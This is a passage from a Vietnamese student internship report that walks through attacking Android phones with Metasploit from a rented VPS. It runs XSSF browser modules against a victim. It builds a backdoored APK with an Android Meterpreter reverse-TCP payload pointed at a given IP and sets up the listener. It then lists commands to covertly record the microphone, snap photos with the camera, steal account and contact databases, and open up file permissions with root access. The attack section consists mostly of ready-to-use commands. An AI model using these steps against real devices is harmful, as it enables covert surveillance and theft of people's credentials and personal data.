Gửi Thông báo XSSF đến máy nạn nhân qua lệnh:

“use auxiliary/xssf/public/misc/alert”

“run”

Page 66: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 61

Ở máy nạn nhân sẽ nhận được cảnh báo XSSF

Thoát ra msf bằng lệnh “Ctrl+C” > “back”

Kiểm tra xem nạn nhân có truy cập vào các trang web thông dụng hay

không bằng lệnh:

“use auxiliary/xssf/public/misc/visited_pages”

“run”

Cài đặt 1 đường dẫn mới và qua đó kiểm tra thông tin máy nạn nhân lần

nữa:

“use auxiliary/gather/android_htmlfileprovider”

“set SRVPORT 87”

“set URIPATH /”

“run”

Page 67: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 62

Chờ nạn nhân truy cập vào đường dẫn mới http://192.168.149.136:87/

Ta nhận được thông tin máy nạn nhân:

2.4. Thoát khỏi XSSF của Metasploit:

Để thoát khỏi ta thực hiện các lệnh: “Ctrl + C” > “back” > “exit” > “exit”

Page 68: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 63

VIII. KẾT NỐI MÁY CHỦ ẢO VPS

1. Giới thiệu máy chủ ảo VPS:

- Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy

chủ vật lý thành nhiều máy chủ ảo. Trong khi trên một server chạy một Share

Host thì có thể có hàng trăm tài khoản chạy cùng lúc, nhưng trên server chạy

VPS thì con số này chỉ bằng 1/10. Do vậy, VPS có hiệu năng cao hơn Share

Host rất nhiều.

- Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có

toàn quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy,

VPS hạn chế 100% khả năng bị hack local.

- Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài

nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh

hưởng đến các Website khác cùng server, riêng server VPS, một tài khoản trên

VPS bị tấn công thì mọi tài khoản khác trên VPS đều hoạt động bình thường.

- VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn

nặng, nếu chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên, VPS

đòi hỏi người sử dụng phải có thêm một số kiến thức về bảo mật, cấu hình

server,…

2. Đặc điểm của VPS:

- Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng,

dung lượng RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều

hành riêng.

- Tiết kiệm được nhiều chi phí so với việc thuê một server riêng.

- Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng

dụng khác thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web

bằng trình duyệt Web trên VPS, dowload/upload bittorrent với tốc độ cao…

- Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài

nguyên mà không cần phải khởi động lại hệ thống.

- Có thể cài lại hệ điều hành với thời gian từ 5-10 phút.

Page 69: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 64

3. Giá trị khi sử dụng VPS:

- Server mạnh với nhiều cấu hình cho phép khách hàng dễ dàng lựa chọn gói

VPS phù hợp.

- Miễn phí chi phí cài đặt ban đầu cũng như cấu hình hoạt động cho khác hàng.

- Hỗ trợ khác hàng cài đặt miễn phí thêm các phần mềm riêng.

- Được cấu hình và cài đặt hệ thống Firewall và DDOS Protection.

- Bộ phận kỹ thuật kịp thời can thiệp nhanh chóng nếu có sự cố phát sinh.

4. Kết nối VPS:

- Đối với máy hệ điều hành Windows, để có thể kết nối với máy chủ ảo VPS, ta

cần sử dụng ứng dụng Remote Desktop Connection.

- Để khởi động ứng dụng RDC này, ta chỉ cần vào Start > All Programs >

Accessories > Remote Desktop Connection

- Sau đó ta cần nhập vào Địa chỉ IP, Username và Password được cung cấp khi

ta đăng ký tài khoản VPS.

- Như vậy là ta đã có thể kết nối với máy chủ ảo VPS.

IX. CÀI ĐẶT METASPLOIT TRÊN VPS

Sau khi đã kết nối được máy VPS bằng quyền Administrator, ta tiến

hành tải và cài đặt phần mềm Metasploit để phục vụ cho việc tấn công

điện thoại Android

1. Giới thiệu về phần mềm Metasploit:

- Metasploit là một công cụ khai thác lỗ hổng của các hệ điều hành, dùng để kiểm

tra, tấn công và khai thác lỗi của các service.

- Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những

components được viết bằng C, Assembler, và Python.

- Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows,

MacOS.

Page 70: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 65

2. Giới thiệu payload Meterpreter:

- Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong

Metasploit framework.

- Muc đích của Meterpreter là để cung cấp những tập lệnh để khai thác, tấn

câng các máy remote computers. Nó được viết từ các developers dưới dạng

shared object( DLL) files.

- Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hoàn toàn

không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm

chống virus.

- Trong bài viết này, để tấn công vào điện thoại Android thì ta sẽ sử dụng

payload Meterpreter này.

3. Cài đặt Metasploit:

Bước 1: Tải Metasploit bản mới nhất từ trang chủ www.metasploit.com hoặc

trang download http://www.rapid7.com/products/metasploit/download.jsp . Ta

sử dụng bản Community.

Bước 2: Tiến hành đăng ký để tải Metasploit

Page 71: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 66

Sau khi đăng ký, ta có thể tải về. Và ta nhận được 1 mail có chứa Key để

Active Metasploit sau khi cài đặt. Mail này gửi về địa chỉ Email mà bạn đã

đăng ký.

Bước 3: Cài đặt phần mềm qua file đã tải về

- Chọn thư mục cài đặt

- Chọn Port của dịch vụ Metasploit sẽ sử dụng, mặc định là 3790

- Chọn server và ngày hết hạn, để mặc định.

- Nhấp Next và Metasploit sẽ được cài đặt vào thư mục đã chọn

- Nhấp Finish và truy cập đến giao diện web của chương trình

Bước 4: Active phần mềm Metasploit bằng cách truy cập vào link

https://localhost:3790/

Tạo một tài khoản sử dụng:

Page 72: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 67

Nhập Key đã nhận từ email:

Chọn ACTIVATE LICENSE

Bước 5: Khởi động Metasploit bằng cách vào Start > Progams > Metasploit

> Metasploit Console

X. TẤN CÔNG MÁY ANDROID TỪ MÁY VPS

1. Tạo ứng dụng chứa mã độc trên Kali Linux:

Trước tiên, ta cần một ứng dụng backdoor để nạn nhân cài vào điện thoại

Android

Bước 1: Khởi động máy ảo Kali Linux. Mở Terminal.

Bước 2: Thực hiện lệnh sau để tạo mã độc từ payload Meterpreter:

“msfpayload android/meterpreter/reverse_tcp lhost =<IP máy VPS>

lport=<Mã port muốn dùng> R > <đường dẫn lưu trữ> / <tên file>”

Page 73: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 68

Giả sử: msfpayload android/meterpreter/reverse_tcp lhost=14.0.21.162

lport=4444 R> /root/Desktop/hack.apk

2. Tấn công điện thoại Android:

Bước 1: Tại máy VPS, mở Metasploit Console. Đợi phần mềm khởi động, có

thể mất vài chục phút.

Bước 2: Tiến hành thiết đặt payload bằng các lệnh

“ use exploit/multi/handler ”

“ set payload android/meterpreter/reverse_tcp ”

“ set lhost 14.0.21.162 ”

“ set lport 4444 ”

“ run ”

Ta phải sử dụng đúng payload, lhost, lport mà ta đã dùng để tạo

backdoor ở trên.

Bước 3: Sau đó, Metasploit sẽ khởi động 1 handler để chờ đợi sự kết nối từ

máy Android nạn nhân. Giả sử nạn nhân truy cập vào ứng dụng backdoor, ta sẽ

nhận được thông báo như sau:

Bước 4: Dùng lệnh “help” để kiểm tra các lệnh ta có thể thao tác

3. Các phương thức tấn công được sử dụng:

Sau đây sẽ giới thiệu 1 số phương thức để tân công máy Android nạn nhân.

3.1 Ghi âm lén:

Sử dụng lệnh: “ record_mic <số giây ghi âm> ”

Page 74: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 69

3.2 Sử dụng camera:

Xem danh sách webcam của thiết bị: “ webcam_list ”

Chụp ảnh lén: “webcam_snap <mã camera>”

3.3 Tải và xóa file bất kỳ từ bộ nhớ sdcard:

Di chuyển vào thư mục bằng lệnh: cd

Tải về bằng lệnh: download <tên file>

Xóa tập tin bằng lệnh: rm <tên file>

3.4 Truy cập trực tiếp vào hệ thống:

Truy cập vào hệ thống bằng lệnh: “shell” > “su”

Kiểm tra máy đã root hay chưa bằng lệnh: “whoami”

Nếu kết quả trả về là “whoami: unknown uid 0” là máy đã được root. Ta có

thể tiếp tục tấn công.

Page 75: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 70

3.5 Truy cập và khai thác tài khoản người dùng:

Thực hiện lệnh để vào xem file lưu tài khoản người dùng: “cd /data/system” > “ls –l”

Copy file về thẻ nhớ sdcard bằng lệnh: “cp accounts.db /sdcard”

Trở về meterpreter và tải file accounts.db về:

Sử dụng tiện ích SQLite Manager trên Firefox để xem nội dung của accounts.db

Page 76: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 71

3.6 Truy cập và đánh cắp danh bạ điện thoại:

Thực hiện lệnh để vào xem file lưu trữ danh bạ điện thoại:

“cd /data/data/com.android.providers.contacts/databases”

Copy về thẻ sdcard và tải về máy

Page 77: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 72

Xem nội dung của contacts2.db bằng SQLite Manager

3.7 Một số câu lệnh khác:

- Để biết thêm về các lệnh có thể thực hiện ta dùng help

- Để xem thông tin về máy, nhập lệnh sysinfo

Page 78: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 73

- Để xem các tác vụ đang chạy gõ ps

- Xem ip của máy bị hack ta gõ ipconfig

- Xem danh sách thư mục, file gõ ls

- Để upload gõ lệnh upload

- ls -l danh mục file và các quyền

- Để ăn cắp tài khoản, mật khẩu, file apk và thay đổi các quyền

/DATA

/DATA/APP

/DATA/SYSTEM

/DATA/SYSTEM/accounts.db

/DATA/SYSTEM/SYNC/accounts.xml

/SYSTEM/APP/

- Để xem danh sách và down load các file hay thay đổi các file trong ROM

Đầu tiên phải gõ lệnh SU để có toàn quyền truy cập

Để có đường dẫn đầy đủ dùng lệnh chmod -R 777 path to filename

Ví dụ chmod -R 777 /data

- Ctrl + C để quay lại

Page 79: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 74

KẾT LUẬN

Qua thời gian thực tập tại Trung tâm ATHENA, em đã học hỏi được rất nhiều

kiến thức cũng như kinh nghiệm sống. Phong cách và môi trường làm việc chuyên

nghiệp, tinh thần trách nhiệm cao, sự quyết tâm và sáng tạo trong công việc, sự cần cù,

siêng năng, chăm chỉ.

Do thời gian thực tập chưa lâu, kiến thức bản thân còn hạn chế nên dù đã cố

gắng nhưng báo cáo thực tập của em sẽ không tránh khỏi những sai sót, khuyết điểm.

Em rất mong được sự góp ý chỉ bảo của các thầy cô để báo cáo thực tập của em được

hoàn chỉnh hơn.

Một lần nữa, em xin cảm ơn đến các thầy cô trong trường Đại học Khoa Học

Tự Nhiên – TP Hồ Chí Minh, các thầy cô, các anh chị công tác trong khoa Điện Tử

Viễn Thông và em xin chân thành cảm ơn thầy Võ Đỗ Thắng cùng các thầy cô và các

anh chị trong trung tâm ATHENA đã tận tình giúp đỡ em hoàn thành báo cáo này.

TP. Hồ Chí Minh, ngày 3 tháng 11 năm 2014

Sinh viên thực hiện

Phan Lý Trúc Anh

Page 80: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 75

PHỤ LỤC I: VIDEO QUÁ TRÌNH THỰC HIỆN

Tạo máy ảo Android Virtual Device trên phần mềm Eclipse

http://youtu.be/7p9_0ojdmqs

Tạo máy ảo Android trên Genymotion và Virtual Box

http://youtu.be/DkxtthrNb9o

Cài đặt Kali Linux trên VMware

http://youtu.be/90e-w3SGJnY

Cài đặt trojan iCalendar và trojan iMatch

http://youtu.be/1JE0hrsZmsk

Tạo file chứa mã độc để tấn công vào máy Android

http://youtu.be/iEawr1JupZ8

Tạo mã độc tên trang web bằng XSSF

http://youtu.be/1Jw8F_H0Jz4

Tấn công Android từ môi trường VPS

http://youtu.be/4Ueat8f-OoM

Clip giới thiệu bản thân và đề tài thực tập

http://youtu.be/iRfXCEXI9lo

Clip tổng kết đề tài

http://youtu.be/sbs4YvvMM-Y

Page 81: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 76

PHỤ LỤC II: TRÍCH DẪN NGUỒN THAM KHẢO

http://www.quantrimang.com.vn/lo-hong-bao-mat-nghiem-trong-de-doa-82-

may-android-110510

http://sinhvienit.net/forum

http://forum.bkav.com.vn

http://developer.android.com/sdk/index.html#download

http://www.oracle.com/technetwork/java/javase/downloads

http://choimobile.vn/forums/#thao-luan-hdh-android.62

http://www.oracle.com/technetwork/server-

storage/virtualbox/downloads/index.html

http://www.genymotion.com/

http://www.whitehat.vn/threads/

https://code.google.com/p/dex2jar/

https://code.google.com/p/innlab/downloads/detail?name=jd-gui-

0.3.3.windows.zip&

http://mobilelife.vn/resources/super-apk-tool-v2-0-cong-cu-chinh-sua-apk-

bang-giao-dien-cuc-manh.12/

Giáo trình khóa học System Hacking – Trung tâm đào tạo ATHENA –

www.Athena.Edu.Vn

Giáo trình Lập trình trên thiết bị di động Android – Trung tâm Tin Học

Trường ĐH Khoa học Tự Nhiên – ĐHQG TPHCM – www.t3h.vn